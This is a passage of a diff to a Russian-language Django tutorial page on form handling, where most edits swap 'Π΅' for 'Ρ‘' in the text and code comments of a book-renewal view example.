+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ВмСсто ΠΈΠΌΠ΅Π½ΠΈ "pk" ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅, ΠΏΠΎ Π½Π°ΡˆΠ΅ΠΌΡƒ ТСланию, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ отобраТСния (ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρƒ нас Π½Π΅Ρ‚ Π² случаС использования встроСнного ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ класса отобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ). Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ имя <code>pk</code> являСтся понятным сокращСниСм ΠΎΡ‚ "primary key", поэтому ΠΌΡ‹ Π΅Π³ΠΎ Ρ‚ΡƒΡ‚ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ!</p>
</div>
<h3 id="ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅">ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</h3>
-<p>Как Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½ΠΎ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="#ΠŸΡ€ΠΎΡ†Π΅ΡΡ_управлСния_Ρ„ΠΎΡ€ΠΌΠΎΠΉ_Π²_Django">ΠŸΡ€ΠΎΡ†Π΅ΡΡ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠΎΠΉ Π² Django</a>, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° вызываСтся Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· ΠΈ, Π·Π°Ρ‚Π΅ΠΌ, ΠΏΠ΅Ρ€Π΅Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ Π΅Π΅, Π² Ρ‚ΠΎΠΌ случаС, Ссли Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ошибки ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с Π΅Π΅ полями. Π’ случаС ΠΆΠ΅ успСха, послС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ…" Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ пСрСнаправляСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° Π½ΠΎΠ²ΡƒΡŽ (Π΄Ρ€ΡƒΠ³ΡƒΡŽ) страницу. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всС эти дСйствия, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½ΠΎ Π»ΠΈ ΠΎΠ½ΠΎ Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· для отрисовки Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π° Ссли это Π½Π΅ Ρ‚Π°ΠΊ, Ρ‚ΠΎ провСсти Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Как Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½ΠΎ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="#ΠŸΡ€ΠΎΡ†Π΅ΡΡ_управлСния_Ρ„ΠΎΡ€ΠΌΠΎΠΉ_Π²_Django">ΠŸΡ€ΠΎΡ†Π΅ΡΡ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠΎΠΉ Π² Django</a>, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° вызываСтся Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· ΠΈ, Π·Π°Ρ‚Π΅ΠΌ, ΠΏΠ΅Ρ€Π΅Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ Π΅Ρ‘, Π² Ρ‚ΠΎΠΌ случаС, Ссли Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ошибки ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с Π΅Ρ‘ полями. Π’ случаС ΠΆΠ΅ успСха, послС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ…" Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ пСрСнаправляСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° Π½ΠΎΠ²ΡƒΡŽ (Π΄Ρ€ΡƒΠ³ΡƒΡŽ) страницу. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всС эти дСйствия, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½ΠΎ Π»ΠΈ ΠΎΠ½ΠΎ Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· для отрисовки Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π° Ссли это Π½Π΅ Ρ‚Π°ΠΊ, Ρ‚ΠΎ провСсти Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….</p>
-<p>Для Ρ„ΠΎΡ€ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ <code>POST</code>-запрос ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π½Π° сСрвСр, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰Π΅ΠΉ схСмой ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΊΡ‚Π° являСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ строка ΠΊΠΎΠ΄Π° <code>if request.method == 'POST':</code>. <code>GET</code>-запросу, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ запросу Ρ„ΠΎΡ€ΠΌΡ‹, Π² Ρ‚Π°ΠΊΠΎΠΌ случаС соотвСтствуСт Π±Π»ΠΎΠΊ <code>else</code>. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ свои Π΄Π°Π½Π½Ρ‹Π΅ Π² Π²ΠΈΠ΄Π΅ <code>GET</code>-запроса, Ρ‚ΠΎ Π² Ρ‚Π°ΠΊΠΎΠΌ случаС ΠΏΡ€ΠΈΠ΅ΠΌΠΎΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ Ρ„Π°ΠΊΡ‚Π°, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹ΠΉ запрос ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ (ΠΈΠ»ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ), являСтся ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ значСния ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ поля Ρ„ΠΎΡ€ΠΌΡ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ скрытого поля Ρ„ΠΎΡ€ΠΌΡ‹ пустоС, Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ² являСтся ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ).</p>
+<p>Для Ρ„ΠΎΡ€ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ <code>POST</code>-запрос ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π½Π° сСрвСр, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰Π΅ΠΉ схСмой ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΊΡ‚Π° являСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ строка ΠΊΠΎΠ΄Π° <code>if request.method == 'POST':</code>. <code>GET</code>-запросу, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ запросу Ρ„ΠΎΡ€ΠΌΡ‹, Π² Ρ‚Π°ΠΊΠΎΠΌ случаС соотвСтствуСт Π±Π»ΠΎΠΊ <code>else</code>. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ свои Π΄Π°Π½Π½Ρ‹Π΅ Π² Π²ΠΈΠ΄Π΅ <code>GET</code>-запроса, Ρ‚ΠΎ Π² Ρ‚Π°ΠΊΠΎΠΌ случаС ΠΏΡ€ΠΈΡ‘ΠΌΠΎΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ Ρ„Π°ΠΊΡ‚Π°, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹ΠΉ запрос ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ (ΠΈΠ»ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ), являСтся ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ значСния ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ поля Ρ„ΠΎΡ€ΠΌΡ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ скрытого поля Ρ„ΠΎΡ€ΠΌΡ‹ пустоС, Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ² являСтся ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ).</p>
<p>ΠŸΡ€ΠΎΡ†Π΅ΡΡ обновлСния ΠΊΠ½ΠΈΠ³ΠΈ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ измСнСнию ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π² соотвСтствии с нашими соглашСниями, Π² Ρ‚Π°ΠΊΠΎΠΌ случаС ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ запрос Ρ‚ΠΈΠΏΠ° <code>POST</code>. Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π°, прСдставлСнный Π½ΠΈΠΆΠ΅, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ (Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰ΡƒΡŽ) схСму Ρ€Π°Π±ΠΎΡ‚Ρ‹ для Ρ‚Π°ΠΊΠΈΡ… запросов.Β </p>
@@ -232,7 +232,7 @@ def renew_book_librarian(request, pk):
Β  Β  # Если Π΄Π°Π½Π½Ρ‹ΠΉ запрос Ρ‚ΠΈΠΏΠ° POST, Ρ‚ΠΎΠ³Π΄Π°
<strong>Β  Β  if request.method == 'POST':</strong>
-Β  Β  Β  Β  # Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ экзСмпляр Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ заполняСм Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ· запроса (связываниС, binding):
+Β  Β  Β  Β  # Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ экзСмпляр Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ заполняСм Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ· запроса (связываниС, binding):
Β  Β  Β  Β  form = RenewBookForm(request.POST)
Β  Β  Β  Β  # ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° валидности Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹:
@@ -245,7 +245,7 @@ def renew_book_librarian(request, pk):
Β  Β  Β  Β  Β  Β  # ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΏΠΎ адрСсу 'all-borrowed':
Β  Β  Β  Β  Β  Β  return HttpResponseRedirect(reverse('all-borrowed') )
-Β  Β  # Если это GET (ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅), ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.
+Β  Β  # Если это GET (ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Ρ‘), ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.
<strong>Β  Β  else:</strong>
Β  Β  Β  Β  proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
Β  Β  Β  Β  form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,})
@@ -255,33 +255,33 @@ def renew_book_librarian(request, pk):
<p>Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΌΡ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ наш класс Ρ„ΠΎΡ€ΠΌΡ‹ (<code>RenewBookForm</code>), Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹:</p>
<ul>
- <li><code><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code>: Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»ΠΈ Π² зависимости ΠΎΡ‚ значСния Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π°, ΠΈΠ»ΠΈ выбрасываСт ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ <code>Http404</code>, Ссли Π΄Π°Π½Π½ΠΎΠΉ записи Π½Π΅ сущСствуСт.Β </li>
+ <li><code><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code>: Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»ΠΈ Π² зависимости ΠΎΡ‚ значСния Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π°, ΠΈΠ»ΠΈ выбрасываСт ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ <code>Http404</code>, Ссли Π΄Π°Π½Π½ΠΎΠΉ записи Π½Π΅ сущСствуСт.Β </li>
<li><code><a href="https://docs.djangoproject.com/en/1.10/ref/request-response/#django.http.HttpResponseRedirect">HttpResponseRedirect</a></code>: Π”Π°Π½Π½Ρ‹ΠΉ класс пСрСнаправляСт Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ адрСс (HTTP ΠΊΠΎΠ΄ статуса 302).Β </li>
<li><code><a href="https://docs.djangoproject.com/en/1.10/ref/urlresolvers/#django.urls.reverse">reverse()</a></code>: Данная функция Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ URL-адрСс ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ URL ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ/прСобразования ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². Π­Ρ‚ΠΎ эквивалСнт Python тэгу <code>url</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ использовали Π² Π½Π°ΡˆΠΈΡ… ΡˆΠ°Π±Π»ΠΎΠ½Π°Ρ….</li>
<li><code><a href="https://docs.python.org/3/library/datetime.html">datetime</a></code>: Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Python для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π΄Π°Ρ‚Π°ΠΌΠΈ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈΠΌ.Β </li>
</ul>
-<p>Π’ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ <code>pk</code> ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ<code>get_object_or_404()</code> для получСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ° <code>BookInstance</code>Β (Ссли Π΅Π³ΠΎ Π½Π΅ сущСствуСт, Ρ‚ΠΎ функция, Π° слСдом ΠΈ нашС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€Π΅Ρ€Π²ΡƒΡ‚ своС Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, Π° Π½Π° страницС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ отобразится сообщСниС ΠΎΠ± ошибкС: "ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½"). Если запрос Π²Ρ‹Π·ΠΎΠ²Π° отобраТСния <em>Π½Π΅ являСтся</em> <code>POST</code>-запросом, Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊ условному Π±Π»ΠΎΠΊΡƒ <code>else</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ создаСм Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π΅ΠΉ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ значСния<code>initial</code> для поля <code>renewal_date</code> (Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ Π½ΠΈΠΆΠ΅, - 3 Π½Π΅Π΄Π΅Π»ΠΈ, начиная с Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π΄Π°Ρ‚Ρ‹).Β </p>
+<p>Π’ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ <code>pk</code> ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ<code>get_object_or_404()</code> для получСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ° <code>BookInstance</code>Β (Ссли Π΅Π³ΠΎ Π½Π΅ сущСствуСт, Ρ‚ΠΎ функция, Π° слСдом ΠΈ нашС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€Π΅Ρ€Π²ΡƒΡ‚ своё Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, Π° Π½Π° страницС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ отобразится сообщСниС ΠΎΠ± ошибкС: "ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½"). Если запрос Π²Ρ‹Π·ΠΎΠ²Π° отобраТСния <em>Π½Π΅ являСтся</em> <code>POST</code>-запросом, Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊ условному Π±Π»ΠΎΠΊΡƒ <code>else</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ создаём Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π΅ΠΉ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ значСния<code>initial</code> для поля <code>renewal_date</code> (Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ Π½ΠΈΠΆΠ΅, - 3 Π½Π΅Π΄Π΅Π»ΠΈ, начиная с Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π΄Π°Ρ‚Ρ‹).Β </p>
<pre class="brush: python notranslate"> book_inst = get_object_or_404(BookInstance, pk=pk)
-Β  Β  # Если это GET (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄), Ρ‚ΠΎΠ³Π΄Π° создаСм Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ
+Β  Β  # Если это GET (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄), Ρ‚ΠΎΠ³Π΄Π° создаём Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ
Β  Β  <strong>else:</strong>
Β  Β  Β  Β  proposed_renewal_date = datetime.date.today() + datetime.timedelta(<strong>weeks=3</strong>)
Β  Β  Β  Β  <strong>form = RenewBookForm(initial={'</strong>renewal_date<strong>': </strong>proposed_renewal_date<strong>,})</strong>
Β  Β  return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre>
-<p>ПослС создания Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>render()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ HTML страницу; ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π΅ΠΉ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² шаблон ΠΈ контСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ„ΠΎΡ€ΠΌΡ‹. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, контСкст содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° <code>BookInstance</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² шаблонС, для получСния 